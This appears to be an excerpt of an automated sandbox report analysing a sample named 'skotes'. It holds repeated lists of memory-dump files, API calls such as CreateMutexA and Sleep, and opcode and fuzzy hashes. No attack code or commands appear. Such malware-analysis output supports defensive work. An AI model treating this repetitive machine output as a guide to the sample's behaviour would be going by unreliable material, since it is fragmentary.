Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: ee01848846393e2ed12caa78a41a3ecdbbef45a4e41113d527717a780ce160cb
Instruction ID: a2995ca6f88c22bd045b297fb978a1c0e302e52cf0c4c000427c970b68869419
Opcode Fuzzy Hash: ee01848846393e2ed12caa78a41a3ecdbbef45a4e41113d527717a780ce160cb
Instruction Fuzzy Hash: F7A13732A041488FCF19EF68CC55BEE7BB1AB06326F144299EC11AF391D7B99C1AC751

Function 00746FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00746EE6), ref: 00746FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00747030
__dosmaperr.LIBCMT ref: 007470C5

Part of subcall function 0074732A: __dosmaperr.LIBCMT ref: 0074735F

Strings

nt, xrefs: 00746FCE

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: nt
API String ID: 2531987475-1210541968
Opcode ID: 02b2740189bf9f11fce3cdebbc913e8f0b9eef6a60a24f374b552ad1c2ddba10
Instruction ID: f82629c1b325af7129db640c6c49baac6af5b9378ffabda588ef6cd358a2291e
Opcode Fuzzy Hash: 02b2740189bf9f11fce3cdebbc913e8f0b9eef6a60a24f374b552ad1c2ddba10
Instruction Fuzzy Hash: CD418E71904248AFDB28EFB5DC459AFB7F9EF88300B10492DF956D3221E7389900DB61

Function 00719BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00719BA8
Sleep.KERNEL32(00000064,?), ref: 0071A963
CreateMutexA.KERNEL32(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2w
API String ID: 396266464-3085299600
Opcode ID: ee0dc39c1ff85adc0c6dda86119b143911da8e3fd0d487d27bed1886face3fb7
Instruction ID: fd28f5ede24d80974f6d9f0d2ac10c29b0fd5bc8fbafd778c8efab132729ffd9
Opcode Fuzzy Hash: ee0dc39c1ff85adc0c6dda86119b143911da8e3fd0d487d27bed1886face3fb7
Instruction Fuzzy Hash: FA319971704244DBEB28DB7CDC897ADB7A2EB85310F248318E054A73D2D7BD9AC187A1

Function 00719CDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00719CDD
Sleep.KERNEL32(00000064,?), ref: 0071A963
CreateMutexA.KERNEL32(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2w
API String ID: 396266464-3085299600
Opcode ID: 22c32e4970aafebd944f69daf612d0b2585c44259c3e41611bd39804f874235c
Instruction ID: 84473b3799663eeeb673b53a303c453302e195788b0b6be00d589c04617c01d3
Opcode Fuzzy Hash: 22c32e4970aafebd944f69daf612d0b2585c44259c3e41611bd39804f874235c
Instruction Fuzzy Hash: 54316671700244DBEB189BBCE8C87ECB762EB86310F248718E054A73D2D77DA9C08762

Function 00719F44 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00719F47
Sleep.KERNEL32(00000064,?), ref: 0071A963
CreateMutexA.KERNEL32(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2w
API String ID: 396266464-3085299600
Opcode ID: e26ab08be7cdb03d28a3fc3cf312c6cd924970cbb3bc4f67eae127978a52d85f
Instruction ID: b3e46d9150b8d01a77f855a85160570d76c17035858cf964b2b7369d369c56a7
Opcode Fuzzy Hash: e26ab08be7cdb03d28a3fc3cf312c6cd924970cbb3bc4f67eae127978a52d85f
Instruction Fuzzy Hash: 00312631701144EBEB189B7CD8897ECB7A6EB89310F248719E054E73D2E77DA9C18752

Function 0071A079 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0071A07C
Sleep.KERNEL32(00000064,?), ref: 0071A963
CreateMutexA.KERNEL32(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
